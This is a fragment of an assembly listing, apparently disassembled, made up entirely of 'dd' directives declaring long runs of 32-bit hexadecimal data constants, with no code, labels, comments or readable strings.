		dd 76B4CE2h, 0A93AE2C7h, 864D8D03h, 0F0C096Ah, 250270EBh
		dd 7F5FFBh, 18396737h, 0B8B254Fh, 0F4F3A184h, 3B1D05E9h
		dd 2D81464Ah, 61DD0227h, 75FC462Ah, 0C13D9368h,	0F539024Ch
		dd 0D059CE29h, 3134EA0h, 1EF72D32h, 0C58977F0h,	0AACEC94h
		dd 0E99EB8AFh, 0D9C19540h, 91E1695Ch, 0A4631283h, 1201D44Eh
		dd 88C6DAA8h, 6BEC390Eh, 0EE9B5765h, 955D82A4h,	0E98A81C5h
		dd 0CCA5CD14h, 9370D4DFh, 0D93FA4E4h, 59166A60h, 0F2D5F75Dh
		dd 0C9F159D1h, 73A6323Bh, 0F016BE3Fh, 0C121E4A2h, 38813918h
		dd 0FC474D8Ah, 0D6F70909h, 0C5AAA8E9h, 35CE0F82h, 0F4895E0h
		dd 3D4E0389h, 48065A5h,	4EFFEE83h, 5A5FDA8Bh, 0C509DB0Ah
		dd 9D8B559Dh, 268A5A51h, 834B5067h, 0CF8797C8h,	4EDA6D3h
		dd 0D905E810h, 0EFAA0925h, 49BF0EE8h, 2DD82914h, 2EFD4207h
		dd 2A78207h, 5F6F7FBEh
		dd 54B0CA1Ch, 6CD5B041h, 0CB218450h, 0DB0B2C59h, 66300996h
		dd 0A83C41C8h, 4E823C9h, 0D0B832DAh, 0E3FD01B3h, 85E90904h
		dd 97352FDh, 0A092FC2Ah, 0ED81C3DEh, 70F14E66h,	0C189D13Fh
		dd 2E4BBC02h, 3582797Eh, 40DD0156h, 0B32FE2FCh,	27F724FCh
		dd 17FE6714h, 6A215581h, 0C1DDABE0h, 61B96684h,	0CE01D0C3h
		dd 29120195h, 88B5EF2h,	0CE085AD0h, 68834F2Eh, 5FE25743h
		dd 4C0F6776h, 0F3816119h, 9F0617Fh, 745B7DDFh, 0E718C3F7h
		dd 0A1431CEh, 2DFA70C7h, 0BE7385D4h, 0F719A9E2h, 51B1A85Eh
		dd 891232C0h, 76204F1Bh, 0E3898F34h, 0F90977C5h, 8EF4DEC6h
		dd 0F866CFFh, 0E0C8BF2Ch, 76945939h, 0F9B27A27h, 0A16E43F6h
		dd 292D1603h, 0A11B8C55h, 0E16258C3h, 0AE1A027Fh, 553F681Dh
		dd 1E4F51D6h, 0F3414DCFh, 2CBBD509h, 58C1DA3Ah,	0A2EF3E7h
		dd 0C380853Ch, 0B58DC2A9h, 50EBDC61h, 6E0768BEh, 52ADE916h
		dd 862446ADh, 0DEF60D1Fh, 640CFD0Bh, 56005971h,	26DCB850h
		dd 23529EDh, 3C0B0151h,	0F161E8D1h, 257D248Bh, 6F22DF09h
		dd 0C1A9090Ch, 383A5D9Dh, 99B92C40h, 42B07BA5h,	0E7D6E0E9h
		dd 0F876EC25h, 0BA545870h, 0CD9698A5h, 0F9ED2054h, 180CD6A0h
		dd 412E7B2Fh, 0F205A86Dh, 3B668288h, 0A09F02C8h, 4A5DD109h
		dd 3141002h, 836421BDh,	7EB40435h, 804ABF40h, 4110D0B0h
		dd 0F4E91B13h, 0FE440B25h, 8003F28Fh, 0C598B4EDh, 0EB272808h
		dd 51B6E059h, 0F4B62752h, 0AF02AD62h, 0C409F73Eh, 0BFB124C2h
		dd 0E5828B60h, 534A0FE6h, 54C9C0A7h, 5D5AB77Ch,	482AACB8h
		dd 0F3F9428Ah, 7E0211A6h, 59E9EA0Bh, 0F7D498C5h, 570BD2D1h
		dd 9078F744h, 0B99F404Ah, 99210617h, 8769ED09h,	0EA37160Fh
		dd 5F0854EEh, 4AE97228h, 0EEEAB4A0h, 79A14316h,	9F55EC2h
		dd 0E660C4D9h, 96F4632Bh, 0B8170C4Ch, 0C09F641h, 80210A42h
		dd 0CF8B5EE1h, 44294E5Ah, 0EF54B3A7h, 0D9314121h, 1822FD31h
		dd 6DE95605h, 10C5E467h, 942778B4h, 0AEB8098Fh,	0E005536Fh
		dd 0C1D8A4A5h, 8B457B0Eh, 0AEC9C021h, 7D256F57h, 6440B2E9h
		dd 0F0C36852h, 0E3296834h, 45A1D164h, 0D32C7128h, 166D395Ah
		dd 102FCB3Eh, 9486574h,	3762A01Dh, 8B95DEA3h, 2C4E1C77h
		dd 7AC81F77h, 5F875C62h, 925892DFh, 2C8553E1h, 0C0491299h
		dd 80A1B6D2h, 2E0EEE58h, 0B22422F0h, 0D7A54E62h, 5E515320h
		dd 95A4791h, 0FB6BDF81h, 0A515702h, 770F8CA7h, 9606935Ah
		dd 0E1A0CD54h, 0A0462CC7h, 0A62DC368h, 1E92DC7h, 0EC803301h
		dd 5C4CCFEh, 81DCCDF7h,	3F76BF7Fh, 0CBEC3D33h, 0BA3CC943h
		dd 0F0D38319h, 6BC04BBEh, 9349ACF6h, 604EBA29h,	649D14DEh
		dd 0B7B0064Ah, 2963DD5Eh, 0A9D07AB8h, 2520578Ah, 4968B538h
		dd 5C370FC6h, 0CB65EC88h, 2F144783h, 174B31B6h,	1CD61FBAh
		dd 49004024h, 7C29509Eh, 30C59824h, 0C59D0378h,	0A63D31E4h
		dd 0C63E9953h, 30E5EDF7h, 602B2F70h, 0EC777E1h,	681F6E06h
		dd 16CDF01h, 0A130C72Dh, 20551DB7h, 6F4F5876h, 0F9BD5509h
		dd 0A809A661h, 0D2169656h, 0CD0F27D7h, 6031395Ch, 0CEC997D1h
		dd 193E8D30h, 86053CC1h, 5F3B52E1h, 8B0EF20Ch, 14F271F2h
		dd 2A0DF504h, 0CCC04CAFh, 12E84233h, 84B2E94Dh,	9D30AE21h
		dd 2E44C2BBh, 3442B7h, 200C4FBAh, 0E64EFEE9h, 6038638Ch
		dd 6BEB5FEDh, 9F4B073Ah, 0B293FAA4h, 1D7E02Eh, 2CB4505Ah
		dd 0F934C780h, 68066457h, 1925C827h, 29653BB5h,	6053443Bh
		dd 559059Dh, 56F04BBAh,	0CBA96BA9h, 39C59A84h, 622D3B3Dh
		dd 69B8D3E3h, 474F828h,	0C45FD6F6h, 29A43235h, 0B7E5D2F4h
		dd 30131377h, 12AD6FB4h, 815D2669h, 6BB0A5B0h, 0BC3F4BD3h
		dd 247D9AADh, 43052173h, 0F519DBF2h, 4E553741h,	0D84C176Bh
		dd 9C6BE6FCh, 0C7105F5h, 63C497BCh, 4EDCE236h, 0E9860FE2h
		dd 0BB035541h, 0CCA4DDADh, 0C904A501h, 13A37Ch,	326EC272h
		dd 0CAFE5451h, 8836BB8h, 6EC0964Fh, 7909665Ah, 0EE84ACEh
		dd 0BDB2C17Bh, 0BB538054h, 0C0B5936h, 5BD8216Ah, 0B727EE12h
		dd 0EC1209FCh, 0E539F306h, 0C9740224h, 0C091C4CCh, 0E49C6089h
		dd 58542509h, 0F1AD02DBh, 0EDE942A5h, 2D00E3D8h, 326107F6h
		dd 945BE56h, 464F6667h,	7F772180h, 4B985083h, 1C5C3971h
		dd 80202769h, 0EDB205B7h, 364F5840h, 0F3295805h, 0A59C015Eh
		dd 8011680Ch, 0F0350B0Ch, 9492E940h, 30E02740h,	5ABC1487h
		dd 0C9838F49h, 34BBA255h, 953EC66Dh, 1D1B15C0h,	2841BE80h
		dd 99944A28h, 0E00B0AB7h, 5360A581h, 2D2057D0h,	0A8340966h
		dd 7CF499D2h, 0B504680Fh, 80225B2Eh, 466029F1h,	58809EF6h
		dd 0B0C9845h, 201C0982h, 0E9254F50h, 31B5E0B5h,	4B9098F0h
		dd 2CB68A0Ah, 0C9A58C36h, 0B95550E0h, 41FE97F0h, 35513163h
		dd 0AA8A2E74h, 8A40A24Bh, 15ACE95Ch, 7414555Ah,	0C5B78B7Ch
		dd 555469D5h, 20391239h, 109C4E6h, 0F5F95BD9h, 45EE38B5h
		dd 0BEDFE976h, 307F4C29h, 6928052Ch, 296BC305h,	7152DF0h
		dd 795E2D78h, 0E6044983h, 2E510969h, 0DCEA6911h, 0A80E4D2Fh
		dd 0C729FD19h, 1BC4E64Bh, 12B71FD1h, 30E46731h,	13E8BD29h
		dd 6599C8BEh, 0BDC83112h, 47B441E1h, 0E241F446h, 9FFF49F2h
		dd 289AA88Dh, 1BFCD1FAh, 2CB159Eh, 0F5C97BBh, 0A506269h
		dd 4041592Fh, 1FC90675h, 720129Eh, 3D10574Ch, 2E8E8334h
		dd 0D55BDF89h, 0C072C2h, 1D24DD05h, 0F2D3D02h, 0E2612844h
		dd 40909342h, 5BACA65Fh, 0C84C909Fh, 455DB768h,	0A9438CEAh
		dd 4872C159h, 0F0399C1Ch, 57AC6B45h, 0CC1F7ECh,	0FE01FB7Dh
		dd 0F917807Ah, 0F95D578h, 0D50D9A81h, 23F1E089h, 53F149E9h
		dd 17948B2Fh, 5BAC289Ch, 43E35EA2h, 2FC4349Ah, 0D449700Fh
		dd 2CDE6916h, 795A0DCh,	897DBB6Ah, 2E69D2FDh, 32F5C0E8h
		dd 747C962Ch, 29122A10h, 4C11CAEBh, 8B9E2F4Fh, 3EF74CA1h
		dd 0DA4A3A68h, 9B53246Ah, 0F4F4DAC4h, 5EE44015h, 5A4AD3F6h
		dd 0BACAE48Eh, 0EDEB9612h, 0ABE91348h, 0B24A1EACh, 0F9B6C0EEh
		dd 3980CEFEh, 0F68501E6h, 0EFF328CCh, 25ED8E10h, 0A460D30Eh
		dd 8EB713Ch, 9D34AE9h, 44445D7Ah, 7F82C5ECh, 0A882B905h
		dd 0B6D340F5h, 56C2899Fh, 12875163h, 263BD6ACh,	4B897A53h
		dd 4A5AB4C0h, 0D83D8497h, 0A95FAC13h, 353EE335h, 0A4E4808Ch
		dd 3B7FD321h, 232C29Dh,	0EA06E908h, 0B8CE170h, 1133A28h
		dd 885125F5h, 84D6538h,	22BD7D20h, 98A42Bh, 5AF2D5Ah, 172B40Eh
		dd 6407B4F8h, 5100A054h, 0ED800CB5h, 880F2C04h,	58E93871h
		dd 0B0066333h, 99678DE0h, 0FE0430C2h, 0C2B8F45Dh, 0B0001C08h
		dd 58E0C0E1h, 5E254403h, 0C8ADD471h, 5423682Bh,	7A550D6Fh
		dd 6E840551h, 0BF593354h, 80A7F549h, 8F0F243Ch,	8C75B4D2h
		dd 9A75174Dh, 0F3BEAA54h, 0CEAB560Fh, 29486982h, 0C856B4BAh
		dd 311EA8F8h, 4A7695FBh, 5BEB54F4h, 502513B3h, 207190D3h
		dd 0BA00D169h, 0F16035B7h, 2C68992Dh, 149403E1h, 5A090705h
		dd 6034C289h, 990C8369h, 0ACB9C299h, 0CA220880h, 28BDE94Ah
		dd 0C1EE139Dh, 0C92BCD42h, 344AE0A8h, 6F66669Dh, 1785508Fh
		dd 0EE35D3B9h, 27DF28BAh, 16E2CBC4h, 46A17CD8h,	3A4166D3h
		dd 0D42129Eh, 4167D473h, 2D188020h, 104E04C4h, 0F6C73106h
		dd 59AF46D2h, 0BF570022h, 2F5518B9h, 9CE78102h,	0E1734170h
		dd 1C7969C5h, 4DBFCCDEh, 9764530Bh, 23AE6648h, 151349C4h
		dd 1802E1BDh
		dd 546C3157h, 82F6493Eh, 0C9A8E012h, 32A2BFA2h,	68076782h
		dd 86161109h, 5F31BB64h, 0D4012454h, 0C340A3F2h, 254719E9h
		dd 1B40590Ah, 199D698Bh, 0A1340AB2h, 58522450h,	0D9F00B6h
		dd 0A5053307h, 0DC4F4D3Ah, 6AC8034Bh, 0B40126F6h, 80E6D84h
		dd 0F53CC558h, 3F845BBh, 0B10606B7h, 0AD4E870Fh, 0A6E6E116h
		dd 12E864h, 968C0F4Eh, 0EEC3C03Eh, 0E8850BF0h, 5EF1890Eh
		dd 0E12129C6h, 63A4B454h, 1165023Eh, 8C21ACAh, 3500B4F5h
		dd 0BF32CFA0h, 7D3621Fh, 124E9310h, 81DD627Eh, 0CB52607Eh
		dd 272DE959h, 816FDB38h, 0FF23F0BDh, 1C5EC70h, 0B0F94B9Dh
		dd 5E7A7B97h, 2048F334h, 3344E72Ch, 0D8E90E44h,	0B77864E1h
		dd 0CDC0EC16h, 43AD3026h, 0C4E1C180h, 1FD197D4h, 0D63A8C4Bh
		dd 39C46FE9h, 6B05895Ch, 685E8741h, 4569278Dh, 8E2B61D2h
		dd 0C6398E65h, 8D8C42CFh, 0CA1F6289h, 75C6093h,	51252F1Fh
		dd 804006Ah, 0AB62C05Fh, 3A12DA24h, 34432CE9h, 0BEEF8B0Fh
		dd 0E2674963h, 0F6C9FE00h, 5D5153D1h, 76CF58C1h, 0F62402AAh
		dd 0F4AF4141h, 33028CCAh, 890F73EAh, 0BE2A5E69h, 2355D600h
		dd 0FAD9E91Bh, 0B4582EC1h, 867E5CB3h, 224061Fh,	0B502EA4Fh
		dd 0E017CA6Fh, 252CB907h, 155411CCh, 89BDC822h,	27AAB441h
		dd 0F6F8015Ch, 17C5D3Ah, 27742D48h, 0C8F416A3h,	0E907A105h
		dd 906AF7C5h, 798FEE54h, 295AB20Ah, 820ABCEh, 8761E92Ch
		dd 3D5C59AFh, 0F7CFF218h, 84046FF1h, 0BD55108Ch, 29AF49FFh
		dd 3C248B8Dh, 0BF53C4ADh, 5F64AFh, 3FC9C1C6h, 11233D7h
		dd 0C4C56F9h, 7CEF61ADh, 547C3FCAh, 21DACFB4h, 2FD7E908h
		dd 84AC2D0Bh, 0B996DC3Ah, 0BA3A4CB8h, 2A02D78Bh, 0DE7944FDh
		dd 2543E1A5h, 0E2FDDF5h, 7A8E80CCh, 0FEF1F361h,	0C5EBE0C3h
		dd 5EA81A1h, 82E765BFh,	0E92224F5h, 0BDE9683Dh,	693E133Bh
		dd 14208146h, 0F5042416h, 0FA7F0916h, 0D985B205h, 0C50261F9h
		dd 8825B96h, 0EAB286FDh, 0EFB62D6Fh, 0E941337Bh, 44282699h
		dd 5C29558Fh, 0F70D78E0h, 17A75B05h, 36BACD68h,	672F26BBh
		dd 0AE46F337h, 32E961D2h, 38BF64DFh, 5D881C16h,	81013EECh
		dd 9737D0C9h, 0E1C7A36h, 2481BE92h, 0EBC9E3D1h,	15A10320h
		dd 816B7973h, 57B5DD16h, 9B44C195h, 0E2302F67h,	3CEE4E74h
		dd 384C8B2Eh, 0C0E829B2h, 8800E681h, 0F1F7B60h,	0B6F54B82h
		dd 0C1950B5h, 58C237C5h, 55AF4C0h, 0B6541E72h, 0DBE81432h
		dd 13F40841h, 44C92D4Ch, 68509158h, 2225E908h, 0B2CB3427h
		dd 12930BB2h, 0D5633D0h, 0AA2E1D8Fh, 801087Bh, 13F091Bh
		dd 115D96Ah, 4057550Ch,	5A8F1280h, 5E95F12h, 3EDB0h, 57533862h
		dd 26736850h, 583B0A00h, 0AC161335h, 64E9250Dh,	985793C2h
		dd 3BCE8124h, 0C46F0697h, 0BA013AE8h, 69C54D65h, 16CE6030h
		dd 0E577663Fh, 160804C0h, 5ED203F0h, 2A064F0Eh,	23B06384h
		dd 7E97000Ch, 0C3013C24h, 8AABA52h, 4AB4C0E5h, 8CB21F56h
		dd 844E3390h, 0A4C1C13Fh, 28AC2957h, 0F05B8532h, 23969740h
		dd 945A026Ah, 0CCC3C0E9h, 1561A23Dh, 136AE986h,	0D54763Bh
		dd 89EF8727h, 426CBB1Eh, 0E9091718h, 65EEAF09h,	0D1215D15h
		dd 0A8B6D973h, 0AAF0252Fh, 34D73921h, 30CA2901h, 4B13C1D6h
		dd 0B0B86A76h, 0A431ED0Eh, 25D8F7A0h, 780C06ECh, 59CEE919h
		dd 2CAD7F05h, 27954D7Ah, 8CA0DD15h, 8F4AF93Dh, 0C3D2F778h
		dd 0B32B27E2h, 0C1DAC263h, 0CCE08443h, 690CE1Dh, 620A120Bh
		dd 548718ECh, 232B685Ch, 6F00D479h, 0E95DDA6Ah,	4C17B2C6h
		dd 1A105F4Dh, 5F23583Eh, 5EE2890Bh, 558A85D0h, 82DAE39Ch
		dd 0B22B3E9h, 34AA9749h, 0E230C1D9h, 3CA89C04h,	25397EF8h
		dd 0F0D1435Dh, 80685684h, 5554BAD2h, 0E9253FB4h, 4C4C8B4Fh
		dd 52349C2Eh, 89252F73h, 58BE5EE5h, 19557AE9h, 0F364D4CEh
		dd 0C1292B05h, 0A4818158h, 103A4A7Bh, 841CB21h,	6A7A0C80h
		dd 7CE9354Bh, 31171996h, 0F2A0D317h, 2DE80F29h,	74293CE0h
		dd 1A7D4D32h, 1F896054h, 83DE82D4h, 765BDDC2h, 58E90972h
		dd 42FDE842h, 1F83DCA3h, 2B602FC0h, 0F18853B0h,	7087813Fh
		dd 0AB40C060h, 6489F5Fh, 56174214h, 38E9593Fh, 0A0E1F784h
		dd 0BBAC57E2h, 8F996BF3h, 686BC06Ah, 0D1957B8Eh, 0ED81622Ch
		dd 7FA6DC76h, 3E34C400h, 0D0D5291Fh, 0E912081Ch, 0B635840Bh
		dd 0E2F53112h, 0D18959FEh, 5F54A298h, 16792C4Ch, 1770B7Bh
		dd 0F4848B71h, 0B0053A88h, 31BA2CFEh, 814CCCF8h, 2058C595h
		dd 0D560506Ch, 0C935127Dh, 72FABC2Ch, 54812D65h, 76662DC2h
		dd 0F53E3D74h, 0B5515801h, 0C8A72C9Ah, 0E84B2822h, 1D6E9FC7h
		dd 0B7530EA0h, 0E945F6D7h, 0F8F0945Fh, 7231A824h, 8C768F8h
		dd 0B45F15BAh, 0E9D0F781h, 3EFFAA13h, 20923F0h,	0D15A1A91h
		dd 9DF1A8D0h, 96C1FA1Ah, 0C4FD7CE8h, 18B3515Ch,	355024h
		dd 11D92B80h, 0E01307B8h, 5EFC3DD4h, 30CE982h, 0AD3D25E5h
		dd 0EC0D5920h, 0C825E961h, 62A654E1h, 7371EF89h, 83CB810Eh
		dd 0F230946Ch, 74356A0Ah, 0AF83711Fh, 2D8B160Ch, 0B58093E9h
		dd 9B2E6DBAh, 1F6F4A48h, 47532BF2h, 11A09101h, 0D9F34CC1h
		dd 893067B6h, 5AB90751h, 0C02C8217h, 0A72965F1h, 0D9F70C13h
		dd 6A5995E1h, 817A12E9h, 7D513EEh, 0E82CC6D5h, 1DF05B31h
		dd 2406105Eh, 638CA35Ch, 9BF4E27h, 0EB76D89Fh, 9EA4045Fh
		dd 1EDADF4h, 3597C875h,	945DEE89h, 81BC4F44h, 1A1F583Ch
		dd 6328DCEDh, 26616807h, 1249CF17h, 0D3881BA2h,	0C01286F4h
		dd 0C2ECC7C4h, 6C13B0D3h, 0C2162248h, 7E77FF5Ch, 6859821Ah
		dd 0F1A2407Ch, 730A4701h, 0D1F65631h, 7520CBD1h, 10C33380h
		dd 0D8F3501Ah, 0FEAD81E4h, 60EBDDCDh, 0B1B632ECh, 699427BDh
		dd 6130D439h, 0E9F18AD0h, 0D1570E12h, 0B493FBE8h, 0F2441156h
		dd 6E3639C6h, 90F8552Dh, 458A260Fh, 0D1C9A01h, 14051C08h
		dd 79C0E916h, 5B37800Fh, 85C9B3CDh, 68FD54C7h, 194B588Eh
		dd 0A7343672h, 0B0F93A8Eh, 25C7B796h, 4274D957h, 0E3A280E9h
		dd 0A4CBD5F7h, 720AABD1h, 0E459341Ch, 9E769BB8h, 0DA766996h
		dd 0B2788552h, 292A31B1h, 937CFEEBh, 527469h, 484C740Ch
		dd 2A029D0Dh, 0E0E94A31h, 5867A4F9h, 0AFD236E2h, 5C317332h
		dd 37D83F48h, 2C2CD81Dh, 8BCE3FD6h, 436809E2h, 0A769D161h
		dd 0C72FB164h, 0B539C658h, 0DC59FA40h, 0E1910F82h, 656843EBh
		dd 0B46551A8h, 0B27B2D53h, 90B9608h, 0F885C580h, 0F549C1CDh
		dd 0BF805E3h, 0ABC2659Eh, 53240BFCh, 0EAAA9F03h, 0B3DDF1DCh
		dd 0EEFBD564h, 1A3B587Dh, 692952CFh, 2C389050h,	0A7F03CDCh
		dd 0B8D280BEh, 255A5B6Ch, 0FFD80971h, 53232625h, 84D29089h
		dd 57008D87h, 0B85E82BFh, 50C0A94Ah, 6C2EB81h, 15B5462h
		dd 881A2CBh, 65C07E59h,	993941E9h, 4D170005h, 890F0CF8h
		dd 7A91206Ah, 7D1BBE3Eh, 0B5F7019Fh, 0F22B5B28h, 42F9933Dh
		dd 0B41EFDAh, 0E530011Ch, 0BD280D48h, 0BD685D22h, 0E91F985Dh
		dd 9D5C4A73h, 463FA1Bh,	44B7E5C8h, 0EE4DD926h, 8A16BF34h
		dd 0C8F64C0Bh, 2775F526h, 5C605085h, 53BEAC1h, 33BE58F7h
		dd 13D95129h, 106E11Ah,	2771FAD4h, 0FCF16A2Eh, 99E34981h
		dd 4175A15Eh, 47420CA7h, 0BAEFC5DCh, 54F0A752h,	32CE4F4Ch
		dd 0F1F88954h, 0BC9DC79Fh, 1F26C3ACh, 23BD4DDCh, 441CD00Ch
		dd 0C201711Fh, 851B9h, 0A2207EDh, 0CF0F187Ch, 796D37h
		dd 0E901EF83h
		dd 9CF75EADh, 451DBB0Ah, 9998F06h, 5EFEE9E6h, 0C32C0E47h
		dd 0C110D34Bh, 0D8824818h, 2EFB9557h, 0A45A79C9h, 4FF20102h
		dd 2F297C96h, 2EC1DA94h, 0DC3F15C7h, 43BD6666h,	0D38C9216h
		dd 73CB2DF6h, 747839F2h, 2EE75C4Ch, 0F41D80CBh,	853CED9Dh
		dd 0D5F681E5h, 38BA84C3h, 0FD244A16h, 93D24D3h,	16536003h
		dd 12E45BADh, 824894CAh, 0D820920Ch, 978EC2Dh, 0C3094968h
		dd 0D3F33101h, 3A56F979h, 8CBA38C4h, 0D15FE9CCh, 0C6BE640Bh
		dd 780A0243h, 0F501730Eh, 801B9C2h, 2A5B7AE9h, 0B24A75CAh
		dd 0D2AE4925h, 94A8A08h, 63E477B6h, 0DAFD2841h,	4AE4063Bh
		dd 0F27BEC42h, 0C64F730h, 5CE76545h, 12004D61h,	5502283Dh
		dd 11096FBDh, 24D220Ch,	0D656539Ah, 0B008494Bh,	845C926Eh
		dd 4AFDB8F2h, 0F14F498Bh, 868A6A40h, 1A8DE909h,	0C71E4452h
		dd 0AF92EE30h, 0CA8729C1h, 2D21D3Fh, 5A595251h,	0CE26BA40h
		dd 5EFC6D25h, 0D55A2FE1h, 9B2ACC20h, 0BA528079h, 6DE63EC4h
		dd 1702B8B8h, 0E9266C10h, 686248E3h, 47F1953Dh,	5CCCB089h
		dd 2391149h, 0E906EDC0h, 0BA95579h, 0D1265870h,	71ACD88Bh
		dd 965308h, 5C1DF781h, 0E09F44B5h, 18EA015Eh, 3F91CBE9h
		dd 31250EE8h, 897C6FC8h, 0A9542BB3h, 5E123F62h,	8AA150F3h
		dd 0F2F379C7h, 683BE0D2h, 0B8CF3153h, 488B465h,	0EF2AAA68h
		dd 11E11371h, 0BB80B162h, 20C14D4h, 0DD054CDh, 55225A21h
		dd 0A8D8E012h, 0F2F8D30Fh, 200914D2h, 74184609h, 59B5835Dh
		dd 0E908C064h, 3BDC61B1h, 0D07BA1BEh, 5EEEF221h, 0D27E3AFCh
		dd 0A6CE6FFFh, 0ADE1A92Eh, 9D9489Bh, 2A646BF1h,	0A451AA0Fh
		dd 2200AD4h, 6F7BB5FEh,	35C01C5Bh, 25880F47h, 6F5A4ECBh
		dd 0D09BE069h, 685117D2h, 9383505Ch, 866B5620h,	0BED1541Ch
		dd 0A625352Ch, 980E0824h, 66ADC196h, 0FA90D662h, 0D1F3BF00h
		dd 290D2464h, 26C22DE4h, 798D5C86h, 282DFDB0h, 52C79F0h
		dd 83896664h, 0E9A6AEB9h, 0EDD34C4h, 0CCB1DF4h,	2590270Ch
		dd 5B0103EAh, 8D0F75ADh, 493E9628h, 4678A67Ah, 3E0C100h
		dd 70B10C2Dh, 17C89DB0h, 0EDDD244Ch, 0E3B1E858h, 209D585Ch
		dd 25B3EF00h, 0FB89BA47h, 6A016BFh, 152A2EE3h, 0D9010C61h
		dd 0F515469h, 38D35582h, 0E00BC325h, 97E1BFF3h,	36D86E21h
		dd 0B4862AE9h, 5E82B586h, 2E7AE6ADh, 0D6892D25h, 25266A17h
		dd 1BBE0D00h, 3E4C8A78h, 5AF41C3Ah, 45E93382h, 0C213CAD7h
		dd 6968544Eh, 0E989C9CFh, 0B5307847h, 477A38Eh,	92B3DB7h
		dd 20B3D066h, 0AC0788E4h, 0C01EB151h, 893B07A7h, 3A20000Eh
		dd 795BF908h, 0B01B7380h, 506D29Ch, 89388757h, 2B25F837h
		dd 0E1814700h, 1709417Dh, 3B96B049h, 78D011Ch, 96C6C131h
		dd 411C8095h, 0F25CFA18h, 6070FCAFh, 72BB1C9Bh,	207AEE5Eh
		dd 0C715CF6Ah, 734B2101h, 86704570h, 0C72F187Fh, 0B440C2Bh
		dd 0F7211E09h, 83D600DDh, 0BDA8DA9Ch, 0D331CF60h, 70FD5A7Fh
		dd 0E50BCDDFh, 0E072D62h, 6F5E2E57h, 82B0F60Fh,	0B54B9289h
		dd 1F8F46Ch, 0AD8E86B5h, 2D130E8Ah, 0C46135DBh,	0E0169E38h
		dd 82275F08h, 4E187018h, 0FD781614h, 0A3F2B4CCh, 0B2498CD4h
		dd 0D6F2893Ah, 2D068AC0h, 0A1C96421h, 5025D38Dh, 2F38CA3Bh
		dd 276ECC5Ch, 20F95DEEh, 89C68180h, 0B049413Dh,	0A2EEF0FAh
		dd 0CBA97C08h, 0E49756DAh, 80C67A8Ah, 5F4AFE31h, 598B32A2h
		dd 31440779h, 0D3A8CFB0h, 0B85AA43Dh, 5A4BD3BAh, 57109EECh
		dd 48735892h, 0E5502E19h, 0D5E8A417h, 244578Bh,	5C843C43h
		dd 6D34E9FEh, 0F32E3C0Ch, 0A905C088h, 9D03376Eh, 0A0AC5FE2h
		dd 85A03551h, 16F41DF8h, 7428D0B6h, 4C2A7C1Bh, 15ADB0FAh
		dd 1B7F4829h, 3219D0Bh,	0AA278AD8h, 0DA733B95h,	0ABBBCBA7h
		dd 5652452h, 24B24E20h,	81D7B42Ah, 0A7CD534Eh, 0AAB02430h
		dd 17D40BDh, 4B11F4C8h,	8471F2B9h, 2C4B4CB6h, 55A8E365h
		dd 3DC9F05Fh, 1FBA0E40h, 430102B4h, 324A850Fh, 310942C4h
		dd 6186D3E6h, 0F530562Eh, 0BB4D2BE9h, 0B21123Dh, 475066F7h
		dd 0F781B885h, 7ADF68E1h, 0C1920A68h, 5162E97Ch, 0F0D568D6h
		dd 5D761A42h, 6ACC054Bh, 5429F45Ah, 5BA68854h, 55DE2E5h
		dd 35136841h, 12C32AFCh, 0AA8D725Bh, 0D8F60B2Dh, 0CAB80CE4h
		dd 0A1BA179Ch, 9225596Ch, 0AA8BB5ACh, 5EB7ED4h,	712D0BFEh
		dd 822AE72Fh, 0D59A26E9h, 0A1FA45A5h, 54C83008h, 13B2C85Dh
		dd 0A90108E7h, 84F303C7h, 0BD6F6420h, 0CA5A9DC9h, 45FC63A9h
		dd 3CA25D72h, 0A5710E54h, 169C6804h, 0C6C079ECh, 31729033h
		dd 560A47D3h, 189C3A3h,	751A57F8h, 0D6FA048Bh, 91078898h
		dd 165E262h, 3737C06Bh,	4FE9E49Dh, 0E0AB137Fh, 3BB624BCh
		dd 59AAF64Bh, 6D38C5E9h, 64E8A558h, 721D57B3h, 7B076EDEh
		dd 7502E2BFh, 0E4F15096h, 5F9690D7h, 4C9CF717h,	622620BCh
		dd 0AF2C7831h, 3E63F6Ah, 0EE85C3FBh, 3C7EB42Dh,	3425E946h
		dd 85B0A9F6h, 55A135D9h, 8AF4706Ah, 6D0004D2h, 0D725EA81h
		dd 4A5203E5h, 8A31B45Eh, 2E20C141h, 710558ABh, 476F7660h
		dd 0EAB20CD3h, 0B575CB97h, 39FE4F94h, 70FE2943h, 822960B6h
		dd 12E0DC69h, 4329FA85h, 0CE130h, 2518C975h, 1A885C58h
		dd 2DD0F700h, 0DC47A34Dh, 0E9C61631h, 852A5193h, 0E9EB284Fh
		dd 0B7481D20h, 0E6971DEEh, 0E057985Ah, 69B2D47h, 38803BE2h
		dd 10B20A57h, 8A0E79Eh,	250513Fh, 0AB4D4EBFh, 8600D53Eh
		dd 54A78BB9h, 34815E4Ah, 0C03AD1F7h, 16144540h,	0B0D12EEDh
		dd 0C52F097Ah, 5F20BFFCh, 288D0F40h, 160702B0h,	0C1A77F81h
		dd 50468C79h, 180454E9h, 80623067h, 0B652A430h,	21E912AAh
		dd 51DBE2D1h, 3719E81Eh, 0B8C18380h, 40334BBCh,	285DC679h
		dd 312C9CFDh, 0D75A99F5h, 0C201AE02h, 54A722D1h, 5FFAC299h
		dd 0C5A2FEC5h, 0B0C1845Fh, 0BE0283EFh, 913E53C0h, 6F368EB7h
		dd 995FEDDh, 0F4F201FEh, 427B1959h, 0C005BFF0h,	0EFA9ED19h
		dd 0A6BCC3A2h, 13E6BA30h, 0CBAE510h, 7C7D4308h,	0FE80A002h
		dd 5F59422Ah, 0F101C7C8h, 0B340B590h, 1DD905Fh,	658A69CBh
		dd 3307C668h, 87F44F49h, 40845BE9h, 0E381D3F5h,	0B8244A65h
		dd 5D1A0B1Eh, 0E947680Dh, 0A3E65F76h, 37D89231h, 0CA474A75h
		dd 4E111653h, 276856C8h, 3DF15712h, 515A908Ah, 30104BCh
		dd 34C23B76h, 7D80D5DEh, 2114880Fh, 46E5FDEh, 0E827B10Bh
		dd 83D0ADD7h, 8FD428ABh, 8BD05C6h, 0E912851Fh, 1CE809AEh
		dd 560BA182h, 3DD55409h, 25E88DEh, 0CE644DCFh, 0EA22F88Bh
		dd 0F1258608h, 0FABD7482h, 52A53D62h, 0D98D715Ah, 26402BEBh
		dd 40B13C1Ch, 9E0DF84Eh, 820F0E7Ch, 0E6D9EDA9h,	0C5B0C864h
		dd 5C5009B6h, 2544C683h, 0E107A1h, 2C0FCFFEh, 81E4E38Bh
		dd 0E9DEC780h, 0B2C38BBh, 0F9763268h, 839A8922h, 9B888451h
